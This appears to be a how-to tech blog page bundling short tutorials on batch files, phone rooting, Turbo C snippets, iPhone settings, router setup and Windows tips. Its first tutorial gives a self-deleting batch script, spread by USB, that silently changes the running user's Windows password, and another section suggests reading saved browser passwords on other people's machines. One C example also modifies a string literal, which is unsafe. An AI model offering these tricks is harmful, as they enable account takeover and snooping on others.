How to Alter admin password in windows

You can do a lot of hacks using batch programming.Just what you have to know is a code snippet for notepad that will be saved as batch file that is .bat extension.

Step 1: Open Notepad

Step 2 : Write the following code in notepad

@echo off
NET USER %username% howquest
DEL pwd.bat

Step 3: Save the file with any name but with .bat extension 

Step 4: The file is ready to use just you have to copy the file in a USB drive when it is plugged in and file is executed by user password will be automatically change.

How to Modify your Old Cell Phone

When you have used your too much and you are stuck with it and its out of guarantee ,What you can do its modify it to get its root access through following steps.

• Greater Power ,Greater Responsibilty

Through rooting you can get admin access to your PHONE that's what called supersuer that's installed when you root your phone

• Root your phone through following given steps and verified practically 

how-to-flash-your-android-phone-with-custom-rom

• Backup your phone

Use CWM to backup your phones everything including ROM. Isn't that interesting

• Root Your Phone

Visit our POST How to root Android
Visit XDA developers to see the list of rootable phones and tutorials on how to root.

How to BUILD text based Interactive Interface in C/C++

Why to use graphics when colored text can do the same thing.So here is a sample code in C/C++
to build a colorful text based UI for your project.

#include<iostream.h>
#include<fstream.h>
#include<conio.h>
#include<stdlib.h>
#include<ctype.h>
#include<stdio.h>
#include<string.h>

void main()
{

clrscr();
textcolor(14);
gotoxy(35,3);
cprintf("COMPILER - PASS 1");
gotoxy(37,6);
textcolor(4);
cprintf("INSTRUCTION !!");
textcolor(14);
gotoxy(37,7);
cprintf("--------------");
textcolor(14);
gotoxy(18,8);
int i=0;
//upper horzontal
for(i=0;i<50;i++)
{
cprintf("|");
}
int j,k;
//right vertical
for(j=0;j<10;j++)
  {
    gotoxy(68,8+j);
  cprintf("||");

  }
//bootom horizontal
gotoxy(18,18);
for(i=0;i<52;i++)
{
cprintf("|");
}
  j=0;
  for(j=0;j<10;j++)
  {
    gotoxy(18,8+j);
  cprintf("||");

  }
  gotoxy(22,10);
  textcolor(4);
  cprintf("HOWQUEST ");
     gotoxy(22,20);
     textcolor(14+128);
cprintf("-->");
  textcolor(4);
cprintf("Press Enter To Proceed");
 gotoxy(22,22);
     textcolor(14+128);
cprintf("-->");
  textcolor(4);
cprintf("Press E To Exit");

getch();

}

OUTPUT:

• Graphics vary here.
• Run the code then analyse

How to see saved passwords in Browser

Whenever  you log in to a website then it asks to save or remember passwords.This means browser stores that password somewhere that allows us to log in without providing the password the next time if remembered .

This post teaches you how to see that saved passwords which you can use on any others system's browser too to know their passwords.

Step 1:  Launch the Browser .Google chrome here

Step 2:  Launch the settings of the browser a shown

Step 3 : Locate the passwords and forms section within the settings launched.

Click on Managed Saved Passwords

Step 4: A tab will be opened within the browser a shown

Step 5: Tab opened will be listed with saved passwords click on the show button whose paswword you want to know.

Step 6: You may be asked foe windows authentication as a security.




Step 7: After successful log in you will be shown the password.

STAY SAFE !!

How to remove leading and trailing spaces in a string in C

When you are encountered with a string that has trailing or leading spaces than to remove that i have made a small C snippet.

• Just copy the code in notepad and save the file with .c or .cpp extension and compile the code using a c Compiler.
• I have used TURBO C-DOS BOX here

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>

char *stripWhitespace (char *inputStr)
{
  char *start, *end;
  size_t len;

  /* Strip leading whitespace */
  start = inputStr;
  while(*start == ' ') start++;
  len = strlen(start);
  memmove(inputStr, start, len + 1);

  /* Strip trailing whitespace */
  end = inputStr + len - 1;
  while(end >= inputStr && *end == ' ') end--;
  *(end + 1) = '\0';

  return inputStr;
}

int main ()
{
clrscr();
    char *mystr  = "   howquest     ";
    printf("\n\nOriginal String:\n");
     puts(mystr);
    stripWhitespace(mystr);
    printf("\n\nAfter Removing Spaces \n");
    puts(mystr);
    getch();
    return 0;
}

OUTPUT:

How to type Emoticons with Shortcuts in your iphone

 Step1: Go to Settings > General > Keyboard > Keyboards > Add New Keyboard > Emoji. 

Step2: Go to Settings > General > Keyboard > Add New Shortcut… 

Step3: Insert a frequently used Emoji in Phrase

 

 Step4: Insert a text in Shortcut which will be used to convert to Emoji.

How to save battery life on your Iphone

Running out of battery is the most irritating one so to get rid of it here are the following tips to save battery life

• Settings > Wi-Fi > Off. 

 

• Settings > Bluetooth > Off.

 

• Settings > Privacy > Location Services > Off.

 

• Settings > General > Cellular > Enable 3G > Off.

 

• Settings > General > Cellular > Enable LTE > Off.

 

• Settings > Sounds > Vibrate on Ring & Silent > Off.

 

• Settings > Brightness & Wallpaper > Auto-Brightness > Off.

 

• Settings > Mail, Contacts, Calendars > Fetch New Data > Off.

How to configure a Wireless DLINK Router

     The wireless router here DLINK is used to give access to multiple users at a time just as in a home network or public network within the College campus.

Step 1: Configure the IP of your host machine within the same network as is default ip of router

Here default ip of router is 192.168.0.50 hence machine is assigned ip 192.168.0.55

 Step 2: Default IP provided by the manufacturer is used to access the Configuration interface .

Here 192.168.0.50.This can be changed by the admin .

Step 3: After logging in DLINK configuring interface welcomes you .

Step 4: Default ip can be changed in the Basic Settings à LAN as shown

Step 5: Wireless setting can be used to change SSID of your router and to set if you want to broadcast it or not

Configuration:

• ·         SSID is set to ccna
• ·         SSID broadcast enabled hence ssid is visible to everyone within the range
• ·         Authentication is used to Validate the user before accessing the wifi
• ·         Authentication used is WPA2-Personal
• ·         Password is mentioned within the paraphrase textbox.

Step 6: Create the DHCP dynamic pool from which the users will be assigned IP

Range of pool specified is two hence only two Users can connect at a time.

Step 7: Save the configuration using the configuration tab and selecting Save and activate.



Router will be restarted

Step 8: Use any Wifi adapter enabled System to access the WAP .

How to make a simple html document

Here you learn how to start with simple html document

Step 1: Open nOtepad

Step 2: Type any HTML code following the html semantics and structure and your creativity.

We are creating here the simplest document just displaying the name on the html web page

Step 3: After writing the code in HTML save the notepad file with .htm or .html extension.

 

File Saved as shown:

Step 4: Run it using any browser.

How USB 2.0 And USB 3.0 Differ

Released	April 2000	November 2008
Speed	High Speed or HS, 480 Mbps (Megabits per second)	10 times faster than USB 2.0. Super Speed or SS, 4.8 Gbps (Giga bits per second)
Signaling Method	Polling mechanism i.e can either send or receive data (Half duplex)	Asynchronous mechanism i.e. can send and receive data simultaneously (Full duplex)
Price	For a similar product, the USB 2.0 version is generally less expensive than it's USB 3.0 version.	For a similar product, the USB 3.0 version is generally more expensive than it's USB 2.0 version.
Power Usage	Up to 500 mA	Up to 900 mA. Allows better power efficiency with less power for idle states. Can power more devices from one hub.
Number of wires within the cable	4	9
Standard-A Connectors	Grey in color	Blue in color
Standard-B Connectors	Smaller in size	Extra space for more wires
Max Cable length	5 meters	3 meters

How to Access windows Registry Editing

To edit Registry in your windows you must know how to access it.Here are few steps how you can do that.

Step 1: Open Run Mode in windows.you can do that by Windows + R or simply search it in the search bar shown here

Step 2: Write regedit in search as shown .

You will be shown regedit file with its icon.

Step 3: Just click on it you will be shown the following interface.

registry files are listed here in different categories.

How to Disable Mobile version of website on Android

Here you will learn how to make desktop version of a website in your browser default.This is specific to Chrome browser.

 Step 1: Click on he settings in the upper right corner 

Check Request desktop site

Step 2:To permanently disable or enable mobile browsing follow he below steps in series

• Goto menu button in upper corner
• Then Settings>Mobile browser mode

How to Add PC Settings to Windows 8.1 Start Screen

Begin by going to Start screen

Step 1: Swip to the right side of the screen

Step 2: clicking on Settings, 

Step 3: finally clicking on PC Settings at the bottom of the window. 

Step 4: Here is how to pin it to your Start Screen.

To access the Pin to Start option, you’ll probably want to get to the All Apps view by swiping up or clicking the little arrow. Once you’re at the view of all your installed applications, right-click or select the PC settings item, and then use the Pin to Start option.

How to compress a file in window

step:-1 download winrar to compress a file.

step:-2 install the winrar to compress a file.

step:-3 Select the files you want to compress into one zip(folder).

step:-4 Right click on files and click on "add to archive".

step:-5 choose the save file directory and click ok.

step:-6 your zip(folder) is created.